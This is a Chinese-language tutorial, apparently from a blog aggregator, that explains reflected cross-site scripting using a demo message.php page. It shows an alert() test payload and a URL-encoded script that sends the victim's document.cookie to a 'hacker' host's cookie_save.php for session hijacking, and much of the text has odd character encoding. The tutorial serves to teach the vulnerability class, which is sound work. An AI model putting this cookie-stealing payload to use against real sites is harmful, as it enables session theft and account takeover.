跨站脚本攻击之反射型XSS漏洞
如果一個(gè)WEB應(yīng)用程序使用動(dòng)態(tài)頁面?zhèn)鬟f參數(shù)向用戶顯示錯(cuò)誤信息,就有可能會(huì)造成一種常見的XSS漏洞。一般情況下,這種頁面使用一個(gè)包含消息文本 的參數(shù),并在頁面加載時(shí)將文本返回給用戶。對(duì)于開發(fā)者來說,使用這種方法非常方便,因?yàn)檫@樣的解決方法可方便的將多種不同的消息返回狀態(tài),使用一個(gè)定制好 的信息提示頁面。
例如,通過程序參數(shù)輸出傳遞的參數(shù)到HTML頁面,則打開下面的網(wǎng)址將會(huì)返回一個(gè)消息提示:
http://fovweb.com/xss/message.php?send=Hello,World!
輸出內(nèi)容:
Hello,World!
此程序功能為提取參數(shù)中的數(shù)據(jù)并插入到頁面加載后的HTML代碼中,這是XSS漏洞的一個(gè)明顯特征:如果此程序沒有經(jīng)過過濾等安全措施,則它將會(huì)很容易受到攻擊。下面我們一起來看如何實(shí)施攻擊。
在原程序的URL的參數(shù)為,替換為我們用來測(cè)試的代碼:
http://fovweb.com/xss/message.php?send=<script>alert(‘xss’)</script>
頁面輸出內(nèi)容則為:
<script>alert(‘xss’)</script>
當(dāng)用戶在用戶瀏覽器打開的時(shí),將會(huì)彈出提示消息。如圖1所示:
圖1 通過URL傳參測(cè)試XSS
在目前互聯(lián)網(wǎng)的Web程序中存在的XSS漏洞,有近75%的漏洞屬于這種簡單的XSS漏洞。由于這種漏洞需要發(fā)送一個(gè)包含了嵌入式 JavaScript代碼的請(qǐng)求,隨后這些代碼被反射給了發(fā)出請(qǐng)求的用戶,因此被稱為反射型XSS。攻擊有效符合分別通過一個(gè)單獨(dú)的請(qǐng)求與響應(yīng)進(jìn)行傳送和 執(zhí)行,因?yàn)橐脖环Q為一階XSS。
利用漏洞
利用XSS漏洞攻擊Web程序的其它用戶的方式有很多種。最簡單的一種攻擊方法是,利用XSS漏洞來劫持已通過驗(yàn)證的用戶的會(huì)話。劫持到已驗(yàn)證的會(huì)話后,攻擊發(fā)起者則擁有該授權(quán)用戶的所有權(quán)限。
利用反射型XSS漏洞進(jìn)行會(huì)話權(quán)限劫持的攻擊步驟,如圖2所示:
圖2 反射型XSS漏洞的攻擊步驟
(1) 用戶正常登錄Web應(yīng)用程序,登錄成功會(huì)得到一個(gè)會(huì)話信息的cookie:
例:
Set-cookie:sessId = f16e1035c301aa099c971682d806c0c7 f16e1035c301aa099c971682d806c0c7
(2) 攻擊者將含有攻擊代碼的URL發(fā)送給被攻擊人;
例:
http://fovweb.com/xss/message.php?send=%3Cscript%3Edocument.write(‘%3Cimg%20height=0%20width=0%20src=%22 http://hacker.fovweb.com/xss/cookie_save.php%3Fcookie=%3D’%20+%20encodeURL(document.cookie)%20+%20’%22/%3E’)%3C/script%3E
(3) 用戶打開攻擊者發(fā)送過來的ULR;
(4) Web應(yīng)用程序執(zhí)行用戶發(fā)出的請(qǐng)求;
(5) 同時(shí)也會(huì)執(zhí)行該URL中所含的攻擊者的JavaScript代碼;
(6) 例子中攻擊者使用的攻擊代碼作用是將用戶的cookie信息發(fā)送到cookie_save.php這個(gè)文件來記錄下來;
(7) 攻擊者在得到用戶的cookie信息后,將可以利用這些信息來劫持用戶的會(huì)話。以該用戶的身份進(jìn)行登錄。
chaunceyhao
總結(jié)
以上是生活随笔為你收集整理的跨站脚本攻击之反射型XSS漏洞的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 《魔力宝贝:复兴》兑换码礼包兑换方法
- 下一篇: 大蒜怎么吃